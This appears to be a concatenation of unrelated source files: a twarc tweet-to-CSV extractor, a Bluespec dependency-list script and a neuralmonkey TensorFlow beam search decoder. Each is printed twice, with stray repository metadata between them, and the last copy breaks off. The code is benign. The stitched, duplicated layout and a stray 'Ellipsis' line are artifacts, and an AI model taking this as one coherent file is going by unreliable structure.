<reponame>nwoodward/twarc #!/usr/bin/env python3 from datetime import datetime import json import os import re import argparse import csv import copy import sys import gzip strptime = datetime.strptime class attriObject: """Class object for attribute parser.""" def __init__(self, string): self.value = re.split(":", string) self.title = self.value[-1] def getElement(self, json_object): found = [json_object] for entry in self.value: for index in range(len(found)): try: found[index] = found[index][entry] except (TypeError, KeyError): print("'{0}' is not a valid json entry.".format(":".join(self.value))) sys.exit() #If single search object is a list, search entire list. Error if nested lists. if isinstance(found[index], list): if len(found) > 1: raise Exception("Extractor currently does not handle nested lists.") found = found[index] return found def tweets_files(string, path): """Iterates over json files in path.""" for filename in os.listdir(path): if re.match(string, filename) and ".jsonl" in filename: f = gzip.open if ".gz" in filename else open yield path + filename, f Ellipsis def parse(args): with open(args.output, 'w+', encoding="utf-8") as output: csv_writer = csv.writer(output, dialect=args.dialect) csv_writer.writerow([a.title for a in args.attributes]) count = 0 tweets = set() for filename, f in tweets_files(args.string, args.path): print("parsing", filename) with f(filename, 'rb') as data_file: for line in data_file: try: json_object = json.loads(line.decode("utf-8")) except ValueError: print("Error in", filename, "entry incomplete.") continue #Check for duplicates identity = json_object['id'] if identity in tweets: continue tweets.add(identity) #Check for time restrictions. if args.start or args.end: tweet_time = strptime(json_object['created_at'],'%a %b %d %H:%M:%S +0000 %Y') if args.start and args.start > tweet_time: continue if args.end and args.end < tweet_time: continue #Check for hashtag. if args.hashtag: for entity in json_object['entities']["hashtags"]: if entity['text'].lower() == args.hashtag: break else: continue count += extract(json_object, args, csv_writer) print("Searched", len(tweets), "tweets and recorded", count, "items.") print("largest id:", max(tweets)) def extract(json_object, args, csv_writer): """Extract and write found attributes.""" found = [[]] for attribute in args.attributes: item = attribute.getElement(json_object) if len(item) == 0: for row in found: row.append("NA") else: found1 = [] for value in item: if value is None: value = "NA" new = copy.deepcopy(found) for row in new: row.append(value) found1.extend(new) found = found1 for row in found: csv_writer.writerow(row) return len(found) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Extracts attributes from tweets.') parser.add_argument("attributes", nargs='*', help="Attributes to search for. Attributes inside nested inside other attributes should be seperated by a colon. Example: user:screen_name, entities:hashtags:text.") parser.add_argument("-dialect", default="excel", help="Sets dialect for csv output. Defaults to excel. See python module csv.list_dialects()") parser.add_argument("-string", default="", help="Regular expression for files to parse. Defaults to empty string.") parser.add_argument("-path", default="./", help="Optional path to folder containing tweets. Defaults to current folder.") parser.add_argument("-output", default="output.csv", help="Optional file to output results. Defaults to output.csv.") parser.add_argument("-start", default="", help="Define start date for tweets. Format (mm:dd:yyyy)") parser.add_argument("-end", default="", help="Define end date for tweets. Format (mm:dd:yyyy)") parser.add_argument("-hashtag", default="", help="Define a hashtag that must be in parsed tweets.") args = parser.parse_args() if not args.path.endswith("/"): args.path += "/" args.start = strptime(args.start, '%m:%d:%Y') if args.start else False args.end = strptime(args.end, '%m:%d:%Y') if args.end else False args.attributes = [attriObject(i) for i in args.attributes] args.string = re.compile(args.string) args.hashtag = args.hashtag.lower() parse(args)

#!/usr/bin/env python3 from datetime import datetime import json import os import re import argparse import csv import copy import sys import gzip strptime = datetime.strptime class attriObject: """Class object for attribute parser.""" def __init__(self, string): self.value = re.split(":", string) self.title = self.value[-1] def getElement(self, json_object): found = [json_object] for entry in self.value: for index in range(len(found)): try: found[index] = found[index][entry] except (TypeError, KeyError): print("'{0}' is not a valid json entry.".format(":".join(self.value))) sys.exit() #If single search object is a list, search entire list. Error if nested lists. if isinstance(found[index], list): if len(found) > 1: raise Exception("Extractor currently does not handle nested lists.") found = found[index] return found def tweets_files(string, path): """Iterates over json files in path.""" for filename in os.listdir(path): if re.match(string, filename) and ".jsonl" in filename: f = gzip.open if ".gz" in filename else open yield path + filename, f Ellipsis def parse(args): with open(args.output, 'w+', encoding="utf-8") as output: csv_writer = csv.writer(output, dialect=args.dialect) csv_writer.writerow([a.title for a in args.attributes]) count = 0 tweets = set() for filename, f in tweets_files(args.string, args.path): print("parsing", filename) with f(filename, 'rb') as data_file: for line in data_file: try: json_object = json.loads(line.decode("utf-8")) except ValueError: print("Error in", filename, "entry incomplete.") continue #Check for duplicates identity = json_object['id'] if identity in tweets: continue tweets.add(identity) #Check for time restrictions. if args.start or args.end: tweet_time = strptime(json_object['created_at'],'%a %b %d %H:%M:%S +0000 %Y') if args.start and args.start > tweet_time: continue if args.end and args.end < tweet_time: continue #Check for hashtag. if args.hashtag: for entity in json_object['entities']["hashtags"]: if entity['text'].lower() == args.hashtag: break else: continue count += extract(json_object, args, csv_writer) print("Searched", len(tweets), "tweets and recorded", count, "items.") print("largest id:", max(tweets)) def extract(json_object, args, csv_writer): """Extract and write found attributes.""" found = [[]] for attribute in args.attributes: item = attribute.getElement(json_object) if len(item) == 0: for row in found: row.append("NA") else: found1 = [] for value in item: if value is None: value = "NA" new = copy.deepcopy(found) for row in new: row.append(value) found1.extend(new) found = found1 for row in found: csv_writer.writerow(row) return len(found) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Extracts attributes from tweets.') parser.add_argument("attributes", nargs='*', help="Attributes to search for. Attributes inside nested inside other attributes should be seperated by a colon. Example: user:screen_name, entities:hashtags:text.") parser.add_argument("-dialect", default="excel", help="Sets dialect for csv output. Defaults to excel. See python module csv.list_dialects()") parser.add_argument("-string", default="", help="Regular expression for files to parse. Defaults to empty string.") parser.add_argument("-path", default="./", help="Optional path to folder containing tweets. Defaults to current folder.") parser.add_argument("-output", default="output.csv", help="Optional file to output results. Defaults to output.csv.") parser.add_argument("-start", default="", help="Define start date for tweets. Format (mm:dd:yyyy)") parser.add_argument("-end", default="", help="Define end date for tweets. Format (mm:dd:yyyy)") parser.add_argument("-hashtag", default="", help="Define a hashtag that must be in parsed tweets.") args = parser.parse_args() if not args.path.endswith("/"): args.path += "/" args.start = strptime(args.start, '%m:%d:%Y') if args.start else False args.end = strptime(args.end, '%m:%d:%Y') if args.end else False args.attributes = [attriObject(i) for i in args.attributes] args.string = re.compile(args.string) args.hashtag = args.hashtag.lower() parse(args)

pt

scripts/bsvDeps.py

mhrtmnn/BSVTools

13573

#!/usr/bin/python3 import sys import glob import os import re def main(): directory = sys.argv[1] builddir = sys.argv[2] extra_module = "" if(len(sys.argv) > 3): extra_module = sys.argv[3] projectModules = {} for filename in glob.glob(os.path.join(directory, '*.bsv')): m = re.match(".*/(.*).bsv", filename) modName = m.group(1).strip() projectModules[modName] = [] with open(filename, "r") as f: for line in f: if line.strip().startswith("import"): m = re.match("import(.*)::", line.strip()) if m: mod = m.group(1).strip() if mod == "`RUN_TEST": mod = extra_module projectModules[modName].append(mod) # Remove duplicates for module, deps in projectModules.items(): projectModules[module] = list(set(deps)) # Remove non project Dependencies for module, deps in projectModules.items(): old = list(deps) for dep in old: if not dep in projectModules: deps.remove(dep) # Create List of modules for dependency resolution for m, d in projectModules.items(): print("{}/{}.bo: {}/{}.bsv {}".format(builddir, m, directory, m, " ".join(map(lambda x : "{}/{}.bo".format(builddir, x), d)))) depList = [] # Produce dependency list while len(projectModules.keys()) > 0: # Look for Module without dependency found = False for m, d in projectModules.items(): if not d: found = True depList.append(m) del projectModules[m] for _, d in projectModules.items(): if m in d: d.remove(m) break if not found: print("Loop detected") break depListFull = [] for d in depList: d = builddir + "/" + d + ".bo" depListFull.append(d) t = "OBJS=" + " ".join(depListFull) print(t) if __name__ == '__main__': main()

#!/usr/bin/python3 import sys import glob import os import re def main(): directory = sys.argv[1] builddir = sys.argv[2] extra_module = "" if(len(sys.argv) > 3): extra_module = sys.argv[3] projectModules = {} for filename in glob.glob(os.path.join(directory, '*.bsv')): m = re.match(".*/(.*).bsv", filename) modName = m.group(1).strip() projectModules[modName] = [] with open(filename, "r") as f: for line in f: if line.strip().startswith("import"): m = re.match("import(.*)::", line.strip()) if m: mod = m.group(1).strip() if mod == "`RUN_TEST": mod = extra_module projectModules[modName].append(mod) # Remove duplicates for module, deps in projectModules.items(): projectModules[module] = list(set(deps)) # Remove non project Dependencies for module, deps in projectModules.items(): old = list(deps) for dep in old: if not dep in projectModules: deps.remove(dep) # Create List of modules for dependency resolution for m, d in projectModules.items(): print("{}/{}.bo: {}/{}.bsv {}".format(builddir, m, directory, m, " ".join(map(lambda x : "{}/{}.bo".format(builddir, x), d)))) depList = [] # Produce dependency list while len(projectModules.keys()) > 0: # Look for Module without dependency found = False for m, d in projectModules.items(): if not d: found = True depList.append(m) del projectModules[m] for _, d in projectModules.items(): if m in d: d.remove(m) break if not found: print("Loop detected") break depListFull = [] for d in depList: d = builddir + "/" + d + ".bo" depListFull.append(d) t = "OBJS=" + " ".join(depListFull) print(t) if __name__ == '__main__': main()

pt

neuralmonkey/decoders/beam_search_decoder.py

kasnerz/neuralmonkey

13574

<reponame>kasnerz/neuralmonkey<filename>neuralmonkey/decoders/beam_search_decoder.py<gh_stars>0 """Beam search decoder. This module implements the beam search algorithm for autoregressive decoders. As any autoregressive decoder, this decoder works dynamically, which means it uses the ``tf.while_loop`` function conditioned on both maximum output length and list of finished hypotheses. The beam search decoder uses four data strcutures during the decoding process. ``SearchState``, ``SearchResults``, ``BeamSearchLoopState``, and ``BeamSearchOutput``. The purpose of these is described in their own docstring. These structures help the decoder to keep track of the decoding, enabling it to be called e.g. during ensembling, when the content of the structures can be changed and then fed back to the model. The implementation mimics the API of the ``AutoregressiveDecoder`` class. There are functions that prepare and return values that are supplied to the ``tf.while_loop`` function. """ # pylint: disable=too-many-lines # Maybe move the definitions of the named tuple structures to a separate file? from typing import Any, Callable, List, NamedTuple # pylint: disable=unused-import from typing import Optional # pylint: enable=unused-import import tensorflow as tf from typeguard import check_argument_types from neuralmonkey.decoders.autoregressive import ( AutoregressiveDecoder, LoopState) from neuralmonkey.decorators import tensor from neuralmonkey.model.model_part import ModelPart from neuralmonkey.tf_utils import ( append_tensor, gather_flat, get_state_shape_invariants, partial_transpose, get_shape_list) from neuralmonkey.vocabulary import ( Vocabulary, END_TOKEN_INDEX, PAD_TOKEN_INDEX) # Constant we use in place of the np.inf INF = 1e9 class SearchState(NamedTuple( "SearchState", [("logprob_sum", tf.Tensor), ("prev_logprobs", tf.Tensor), ("lengths", tf.Tensor), ("finished", tf.Tensor)])): """Search state of a beam search decoder. This structure keeps track of a current state of the beam search algorithm. The search state contains tensors that represent hypotheses in the beam, namely their log probability, length, and distribution over the vocabulary when decoding the last word, as well as if the hypothesis is finished or not. Attributes: logprob_sum: A ``(batch, beam)``-shaped tensor with the sums of token log-probabilities of each hypothesis. prev_logprobs: A ``(batch, beam, vocabulary)``-sized tensor. Stores the log-distribution over the vocabulary from the previous decoding step for each hypothesis. lengths: A ``(batch, beam)``-shaped tensor with the lengths of the hypotheses. finished: A boolean tensor with shape ``(batch, beam)``. Marks finished and unfinished hypotheses. """ class SearchResults(NamedTuple( "SearchResults", [("scores", tf.Tensor), ("token_ids", tf.Tensor)])): """The intermediate results of the beam search decoding. A cummulative structure that holds the actual decoded tokens and hypotheses scores (after applying a length penalty term). Attributes: scores: A ``(time, batch, beam)``-shaped tensor with the scores for each hypothesis. The score is computed from the ``logprob_sum`` of a hypothesis and accounting for the hypothesis length. token_ids: A ``(time, batch, beam)``-shaped tensor with the vocabulary indices of the tokens in each hypothesis. """ class BeamSearchLoopState(NamedTuple( "BeamSearchLoopState", [("search_state", SearchState), ("search_results", SearchResults), ("decoder_loop_state", LoopState)])): """The loop state of the beam search decoder. A loop state object that is used for transferring data between cycles through the symbolic while loop. It groups together the ``SearchState`` and ``SearchResults`` structures and also keeps track of the underlying decoder loop state. Attributes: search_state: A ``SearchState`` object representing the current search state. search_results: The growing ``SearchResults`` object which accummulates the outputs of the decoding process. decoder_loop_state: The current loop state of the underlying autoregressive decoder. """ class BeamSearchOutput(NamedTuple( "BeamSearchOutput", [("last_search_step_output", SearchResults), ("last_dec_loop_state", NamedTuple), ("last_search_state", SearchState), ("attention_loop_states", List[Any])])): """The final structure that is returned from the while loop. Attributes: last_search_step_output: A populated ``SearchResults`` object. last_dec_loop_state: Final loop state of the underlying decoder. last_search_state: Final loop state of the beam search decoder. attention_loop_states: The final loop states of the attention objects. """ class BeamSearchDecoder(ModelPart): """In-graph beam search decoder. The hypothesis scoring algorithm is taken from https://arxiv.org/pdf/1609.08144.pdf. Length normalization is parameter alpha from equation 14. """ def __init__(self, name: str, parent_decoder: AutoregressiveDecoder, beam_size: int, max_steps: int, length_normalization: float) -> None: """Construct the beam search decoder graph. Arguments: name: The name for the model part. parent_decoder: An autoregressive decoder from which to sample. beam_size: The number of hypotheses in the beam. max_steps: The maximum number of time steps to perform. length_normalization: The alpha parameter from Eq. 14 in the paper. """ check_argument_types() ModelPart.__init__(self, name) self.parent_decoder = parent_decoder self.beam_size = beam_size self.length_normalization = length_normalization self.max_steps_int = max_steps # Create a placeholder for maximum number of steps that is necessary # during ensembling, when the decoder is called repetitively with the # max_steps attribute set to one. self.max_steps = tf.placeholder_with_default(self.max_steps_int, []) self._initial_loop_state = None # type: Optional[BeamSearchLoopState] @tensor def outputs(self) -> tf.Tensor: # This is an ugly hack for handling the whole graph when expanding to # the beam. We need to access all the inner states of the network in # the graph, replace them with beam-size-times copied originals, create # the beam search graph, and then replace the inner states back. enc_states = self.parent_decoder.encoder_states enc_masks = self.parent_decoder.encoder_masks setattr(self.parent_decoder, "encoder_states", lambda: [self.expand_to_beam(sts) for sts in enc_states()]) setattr(self.parent_decoder, "encoder_masks", lambda: [self.expand_to_beam(mask) for mask in enc_masks()]) # Create the beam search symbolic graph. with self.use_scope(): self._initial_loop_state = self.get_initial_loop_state() outputs = self.decoding_loop() # Reassign the original encoder states and mask back setattr(self.parent_decoder, "encoder_states", enc_states) setattr(self.parent_decoder, "encoder_masks", enc_masks) return outputs @property def initial_loop_state(self) -> BeamSearchLoopState: if self._initial_loop_state is None: raise RuntimeError("Initial loop state was not initialized") return self._initial_loop_state @property def vocabulary(self) -> Vocabulary: return self.parent_decoder.vocabulary # Note that the attributes search_state, decoder_state, and search_results # are used only when ensembling, which is done with max_steps set to one # and calling the beam search decoder repetitively. @tensor def search_state(self) -> SearchState: return self.initial_loop_state.search_state @tensor def decoder_state(self) -> LoopState: return self.initial_loop_state.decoder_loop_state @tensor def search_results(self) -> SearchResults: return self.initial_loop_state.search_results def get_initial_loop_state(self) -> BeamSearchLoopState: """Construct the initial loop state for the beam search decoder. During the construction, the body function of the underlying decoder is called once to retrieve the initial log probabilities of the first token. The values are initialized as follows: - ``search_state`` - ``logprob_sum`` - For each sentence in batch, logprob sum of the first hypothesis in the beam is set to zero while the others are set to negative infinity. - ``prev_logprobs`` - This is the softmax over the logits from the initial decoder step. - ``lengths`` - All zeros. - ``finshed`` - All false. - ``search_results`` - ``scores`` - A (batch, beam)-sized tensor of zeros. - ``token_ids`` - A (1, batch, beam)-sized tensor filled with indices of decoder-specific initial input symbols (usually start symbol IDs). - ``decoder_loop_state`` - The loop state of the underlying autoregressive decoder, as returned from the initial call to the body function. Returns: A populated ``BeamSearchLoopState`` structure. """ # Get the initial loop state of the underlying decoder. Then, expand # the tensors from the loop state to (batch * beam) and inject them # back into the decoder loop state. dec_init_ls = self.parent_decoder.get_initial_loop_state() feedables = tf.contrib.framework.nest.map_structure( self.expand_to_beam, dec_init_ls.feedables) histories = tf.contrib.framework.nest.map_structure( lambda x: self.expand_to_beam(x, dim=1), dec_init_ls.histories) constants = tf.constant(0) if dec_init_ls.constants: constants = tf.contrib.framework.nest.map_structure( self.expand_to_beam, dec_init_ls.constants) dec_init_ls = dec_init_ls._replace( feedables=feedables, histories=histories, constants=constants) # Call the decoder body function with the expanded loop state to get # the log probabilities of the possible first tokens. decoder_body = self.parent_decoder.get_body(False) dec_next_ls = decoder_body(*dec_init_ls) # Construct the initial loop state of the beam search decoder. To allow # ensembling, the values are replaced with placeholders with a default # value. Despite this is necessary only for variables that grow in # time, the placeholder replacement is done on the whole structures, as # you can see below. search_state = SearchState( logprob_sum=tf.tile( tf.expand_dims([0.0] + [-INF] * (self.beam_size - 1), 0), [self.batch_size, 1], name="bs_logprob_sum"), prev_logprobs=tf.reshape( tf.nn.log_softmax(dec_next_ls.feedables.prev_logits), [self.batch_size, self.beam_size, len(self.vocabulary)]), lengths=tf.zeros( [self.batch_size, self.beam_size], dtype=tf.int32, name="bs_lengths"), finished=tf.zeros( [self.batch_size, self.beam_size], dtype=tf.bool)) # We add the input_symbol to token_ids during search_results # initialization for simpler beam_body implementation search_results = SearchResults( scores=tf.zeros( shape=[self.batch_size, self.beam_size], dtype=tf.float32, name="beam_scores"), token_ids=tf.reshape( feedables.input_symbol, [1, self.batch_size, self.beam_size], name="beam_tokens")) # In structures that contain tensors that grow in time, we replace # tensors with placeholders with loosened shape constraints in the time # dimension. dec_next_ls = tf.contrib.framework.nest.map_structure( lambda x: tf.placeholder_with_default( x, get_state_shape_invariants(x)), dec_next_ls) search_results = tf.contrib.framework.nest.map_structure( lambda x: tf.placeholder_with_default( x, get_state_shape_invariants(x)), search_results) return BeamSearchLoopState( search_state=search_state, search_results=search_results, decoder_loop_state=dec_next_ls) def loop_continue_criterion(self, *args) -> tf.Tensor: """Decide whether to break out of the while loop. The criterion for stopping the loop is that either all hypotheses are finished or a maximum number of steps has been reached. Here the number of steps is the number of steps of the underlying decoder minus one, because this function is evaluated after the decoder step has been called and its step has been incremented. This is caused by the fact that we call the decoder body function at the end of the beam body function. (And that, in turn, is to support ensembling.) Arguments: args: A ``BeamSearchLoopState`` instance. Returns: A scalar boolean ``Tensor``. """ loop_state = BeamSearchLoopState(*args) beam_step = loop_state.decoder_loop_state.feedables.step - 1 finished = loop_state.search_state.finished max_step_cond = tf.less(beam_step, self.max_steps) unfinished_cond = tf.logical_not(tf.reduce_all(finished)) return tf.logical_and(max_step_cond, unfinished_cond) def decoding_loop(self) -> BeamSearchOutput: """Create the decoding loop. This function mimics the behavior of the ``decoding_loop`` method of the ``AutoregressiveDecoder``, except the initial loop state is created outside this method because it is accessed and fed during ensembling. TODO: The ``finalize_loop`` method and the handling of attention loop states might be implemented in the future. Returns: This method returns a populated ``BeamSearchOutput`` object. """ final_loop_state = tf.while_loop( self.loop_continue_criterion, self.get_body(), self.initial_loop_state, shape_invariants=tf.contrib.framework.nest.map_structure( get_state_shape_invariants, self.initial_loop_state)) # TODO: return att_loop_states properly return BeamSearchOutput( last_search_step_output=final_loop_state.search_results, last_dec_loop_state=final_loop_state.decoder_loop_state, last_search_state=final_loop_state.search_state, attention_loop_states=[]) def get_body(self) -> Callable[[Any], BeamSearchLoopState]: """Return a body function for ``tf.while_loop``. Returns: A function that performs a single decoding step. """ decoder_body = self.parent_decoder.get_body(train_mode=False) # pylint: disable=too-many-locals def body(*args: Any) -> BeamSearchLoopState: """Execute a single beam search step. An implementation of the beam search algorithm, which works as follows: 1. Create a valid ``logprobs`` tensor which contains distributions over the output tokens for each hypothesis in the beam. For finished hypotheses, the log probabilities of all tokens except the padding token are set to negative infinity. 2. Expand the beam by appending every possible token to every existing hypothesis. Update the log probabilitiy sum of each hypothesis and its length (add one for unfinished hypotheses). For each hypothesis, compute the score using the length penalty term. 3. Select the ``beam_size`` best hypotheses from the score pool. This is implemented by flattening the scores tensor and using the ``tf.nn.top_k`` function. 4. Reconstruct the beam by gathering elements from the original data structures using the data indices computed in the previous step. 5. Call the ``body`` function of the underlying decoder. 6. Populate a new ``BeamSearchLoopState`` object with the selected values and with the newly obtained decoder loop state. Note that this function expects the decoder to be called at least once prior the first execution. Arguments: args: An instance of the ``BeamSearchLoopState`` structure. (see the docs for this module) Returns: A ``BeamSearchLoopState`` after one step of the decoding. """ loop_state = BeamSearchLoopState(*args) dec_loop_state = loop_state.decoder_loop_state search_state = loop_state.search_state search_results = loop_state.search_results # mask the probabilities # shape(logprobs) = [batch, beam, vocabulary] logprobs = search_state.prev_logprobs finished_mask = tf.expand_dims( tf.to_float(search_state.finished), 2) unfinished_logprobs = (1. - finished_mask) * logprobs finished_row = tf.one_hot( PAD_TOKEN_INDEX, len(self.vocabulary), dtype=tf.float32, on_value=0., off_value=-INF) finished_logprobs = finished_mask * finished_row logprobs = unfinished_logprobs + finished_logprobs # update hypothesis scores # shape(hyp_probs) = [batch, beam, vocabulary] hyp_probs = tf.expand_dims(search_state.logprob_sum, 2) + logprobs # update hypothesis lengths hyp_lengths = search_state.lengths + 1 - tf.to_int32( search_state.finished) # shape(scores) = [batch, beam, vocabulary] scores = hyp_probs / tf.expand_dims( self._length_penalty(hyp_lengths), 2) # reshape to [batch, beam * vocabulary] for topk scores_flat = tf.reshape( scores, [-1, self.beam_size * len(self.vocabulary)]) # shape(both) = [batch, beam] topk_scores, topk_indices = tf.nn.top_k( scores_flat, k=self.beam_size) topk_indices.set_shape([None, self.beam_size]) topk_scores.set_shape([None, self.beam_size]) next_word_ids = tf.mod(topk_indices, len(self.vocabulary)) next_beam_ids = tf.div(topk_indices, len(self.vocabulary)) # batch offset for tf.gather_nd batch_offset = tf.tile( tf.expand_dims(tf.range(self.batch_size), 1), [1, self.beam_size]) batch_beam_ids = tf.stack([batch_offset, next_beam_ids], axis=2) # gather the topk logprob_sums next_beam_lengths = tf.gather_nd(hyp_lengths, batch_beam_ids) next_beam_logprob_sum = tf.gather_nd( tf.reshape( hyp_probs, [-1, self.beam_size * len(self.vocabulary)]), tf.stack([batch_offset, topk_indices], axis=2)) # mark finished beams next_finished = tf.gather_nd(search_state.finished, batch_beam_ids) next_just_finished = tf.equal(next_word_ids, END_TOKEN_INDEX) next_finished = tf.logical_or(next_finished, next_just_finished) # we need to flatten the feedables for the parent_decoder next_feedables = tf.contrib.framework.nest.map_structure( lambda x: gather_flat(x, batch_beam_ids, self.batch_size, self.beam_size), dec_loop_state.feedables) next_feedables = next_feedables._replace( input_symbol=tf.reshape(next_word_ids, [-1]), finished=tf.reshape(next_finished, [-1])) # histories have shape [len, batch, ...] def gather_fn(x): return partial_transpose( gather_flat( partial_transpose(x, [1, 0]), batch_beam_ids, self.batch_size, self.beam_size), [1, 0]) next_histories = tf.contrib.framework.nest.map_structure( gather_fn, dec_loop_state.histories) dec_loop_state = dec_loop_state._replace( feedables=next_feedables, histories=next_histories) # CALL THE DECODER BODY FUNCTION next_loop_state = decoder_body(*dec_loop_state) next_search_state = SearchState( logprob_sum=next_beam_logprob_sum, prev_logprobs=tf.reshape( tf.nn.log_softmax(next_loop_state.feedables.prev_logits), [self.batch_size, self.beam_size, len(self.vocabulary)]), lengths=next_beam_lengths, finished=next_finished) next_token_ids = tf.transpose(search_results.token_ids, [1, 2, 0]) next_token_ids = tf.gather_nd(next_token_ids, batch_beam_ids) next_token_ids = tf.transpose(next_token_ids, [2, 0, 1]) next_output = SearchResults( scores=topk_scores, token_ids=append_tensor(next_token_ids, next_word_ids)) return BeamSearchLoopState( search_state=next_search_state, search_results=next_output, decoder_loop_state=next_loop_state) # pylint: enable=too-many-locals return body def _length_penalty(self, lengths: tf.Tensor) -> tf.Tensor: """Apply length penalty ("lp") term from Eq. 14. https://arxiv.org/pdf/1609.08144.pdf Arguments: lengths: A ``Tensor`` of lengths of the hypotheses in the beam. Returns: A float ``Tensor`` with the length penalties for each hypothesis in the beam. """ return ((5. + tf.to_float(lengths)) / 6.) ** self.length_normalization def expand_to_beam(self, val: tf.Tensor, dim: int = 0) -> tf.Tensor: """Copy a tensor along a new beam dimension. Arguments: val: The ``Tensor`` to expand. dim: The dimension along which to expand. Usually, the batch axis. Returns: The expanded tensor. """ orig_shape = get_shape_list(val) if val.shape.ndims == 0: return val orig_shape[dim] *= self.beam_size tile_shape = [1] * (len(orig_shape) + 1) tile_shape[dim + 1] = self.beam_size val = tf.tile(tf.expand_dims(val, 1), tile_shape) val = tf.reshape(val, orig_shape) return val

"""Beam search decoder. This module implements the beam search algorithm for autoregressive decoders. As any autoregressive decoder, this decoder works dynamically, which means it uses the ``tf.while_loop`` function conditioned on both maximum output length and list of finished hypotheses. The beam search decoder uses four data strcutures during the decoding process. ``SearchState``, ``SearchResults``, ``BeamSearchLoopState``, and ``BeamSearchOutput``. The purpose of these is described in their own docstring. These structures help the decoder to keep track of the decoding, enabling it to be called e.g. during ensembling, when the content of the structures can be changed and then fed back to the model. The implementation mimics the API of the ``AutoregressiveDecoder`` class. There are functions that prepare and return values that are supplied to the ``tf.while_loop`` function. """ # pylint: disable=too-many-lines # Maybe move the definitions of the named tuple structures to a separate file? from typing import Any, Callable, List, NamedTuple # pylint: disable=unused-import from typing import Optional # pylint: enable=unused-import import tensorflow as tf from typeguard import check_argument_types from neuralmonkey.decoders.autoregressive import ( AutoregressiveDecoder, LoopState) from neuralmonkey.decorators import tensor from neuralmonkey.model.model_part import ModelPart from neuralmonkey.tf_utils import ( append_tensor, gather_flat, get_state_shape_invariants, partial_transpose, get_shape_list) from neuralmonkey.vocabulary import ( Vocabulary, END_TOKEN_INDEX, PAD_TOKEN_INDEX) # Constant we use in place of the np.inf INF = 1e9 class SearchState(NamedTuple( "SearchState", [("logprob_sum", tf.Tensor), ("prev_logprobs", tf.Tensor), ("lengths", tf.Tensor), ("finished", tf.Tensor)])): """Search state of a beam search decoder. This structure keeps track of a current state of the beam search algorithm. The search state contains tensors that represent hypotheses in the beam, namely their log probability, length, and distribution over the vocabulary when decoding the last word, as well as if the hypothesis is finished or not. Attributes: logprob_sum: A ``(batch, beam)``-shaped tensor with the sums of token log-probabilities of each hypothesis. prev_logprobs: A ``(batch, beam, vocabulary)``-sized tensor. Stores the log-distribution over the vocabulary from the previous decoding step for each hypothesis. lengths: A ``(batch, beam)``-shaped tensor with the lengths of the hypotheses. finished: A boolean tensor with shape ``(batch, beam)``. Marks finished and unfinished hypotheses. """ class SearchResults(NamedTuple( "SearchResults", [("scores", tf.Tensor), ("token_ids", tf.Tensor)])): """The intermediate results of the beam search decoding. A cummulative structure that holds the actual decoded tokens and hypotheses scores (after applying a length penalty term). Attributes: scores: A ``(time, batch, beam)``-shaped tensor with the scores for each hypothesis. The score is computed from the ``logprob_sum`` of a hypothesis and accounting for the hypothesis length. token_ids: A ``(time, batch, beam)``-shaped tensor with the vocabulary indices of the tokens in each hypothesis. """ class BeamSearchLoopState(NamedTuple( "BeamSearchLoopState", [("search_state", SearchState), ("search_results", SearchResults), ("decoder_loop_state", LoopState)])): """The loop state of the beam search decoder. A loop state object that is used for transferring data between cycles through the symbolic while loop. It groups together the ``SearchState`` and ``SearchResults`` structures and also keeps track of the underlying decoder loop state. Attributes: search_state: A ``SearchState`` object representing the current search state. search_results: The growing ``SearchResults`` object which accummulates the outputs of the decoding process. decoder_loop_state: The current loop state of the underlying autoregressive decoder. """ class BeamSearchOutput(NamedTuple( "BeamSearchOutput", [("last_search_step_output", SearchResults), ("last_dec_loop_state", NamedTuple), ("last_search_state", SearchState), ("attention_loop_states", List[Any])])): """The final structure that is returned from the while loop. Attributes: last_search_step_output: A populated ``SearchResults`` object. last_dec_loop_state: Final loop state of the underlying decoder. last_search_state: Final loop state of the beam search decoder. attention_loop_states: The final loop states of the attention objects. """ class BeamSearchDecoder(ModelPart): """In-graph beam search decoder. The hypothesis scoring algorithm is taken from https://arxiv.org/pdf/1609.08144.pdf. Length normalization is parameter alpha from equation 14. """ def __init__(self, name: str, parent_decoder: AutoregressiveDecoder, beam_size: int, max_steps: int, length_normalization: float) -> None: """Construct the beam search decoder graph. Arguments: name: The name for the model part. parent_decoder: An autoregressive decoder from which to sample. beam_size: The number of hypotheses in the beam. max_steps: The maximum number of time steps to perform. length_normalization: The alpha parameter from Eq. 14 in the paper. """ check_argument_types() ModelPart.__init__(self, name) self.parent_decoder = parent_decoder self.beam_size = beam_size self.length_normalization = length_normalization self.max_steps_int = max_steps # Create a placeholder for maximum number of steps that is necessary # during ensembling, when the decoder is called repetitively with the # max_steps attribute set to one. self.max_steps = tf.placeholder_with_default(self.max_steps_int, []) self._initial_loop_state = None # type: Optional[BeamSearchLoopState] @tensor def outputs(self) -> tf.Tensor: # This is an ugly hack for handling the whole graph when expanding to # the beam. We need to access all the inner states of the network in # the graph, replace them with beam-size-times copied originals, create # the beam search graph, and then replace the inner states back. enc_states = self.parent_decoder.encoder_states enc_masks = self.parent_decoder.encoder_masks setattr(self.parent_decoder, "encoder_states", lambda: [self.expand_to_beam(sts) for sts in enc_states()]) setattr(self.parent_decoder, "encoder_masks", lambda: [self.expand_to_beam(mask) for mask in enc_masks()]) # Create the beam search symbolic graph. with self.use_scope(): self._initial_loop_state = self.get_initial_loop_state() outputs = self.decoding_loop() # Reassign the original encoder states and mask back setattr(self.parent_decoder, "encoder_states", enc_states) setattr(self.parent_decoder, "encoder_masks", enc_masks) return outputs @property def initial_loop_state(self) -> BeamSearchLoopState: if self._initial_loop_state is None: raise RuntimeError("Initial loop state was not initialized") return self._initial_loop_state @property def vocabulary(self) -> Vocabulary: return self.parent_decoder.vocabulary # Note that the attributes search_state, decoder_state, and search_results # are used only when ensembling, which is done with max_steps set to one # and calling the beam search decoder repetitively. @tensor def search_state(self) -> SearchState: return self.initial_loop_state.search_state @tensor def decoder_state(self) -> LoopState: return self.initial_loop_state.decoder_loop_state @tensor def search_results(self) -> SearchResults: return self.initial_loop_state.search_results def get_initial_loop_state(self) -> BeamSearchLoopState: """Construct the initial loop state for the beam search decoder. During the construction, the body function of the underlying decoder is called once to retrieve the initial log probabilities of the first token. The values are initialized as follows: - ``search_state`` - ``logprob_sum`` - For each sentence in batch, logprob sum of the first hypothesis in the beam is set to zero while the others are set to negative infinity. - ``prev_logprobs`` - This is the softmax over the logits from the initial decoder step. - ``lengths`` - All zeros. - ``finshed`` - All false. - ``search_results`` - ``scores`` - A (batch, beam)-sized tensor of zeros. - ``token_ids`` - A (1, batch, beam)-sized tensor filled with indices of decoder-specific initial input symbols (usually start symbol IDs). - 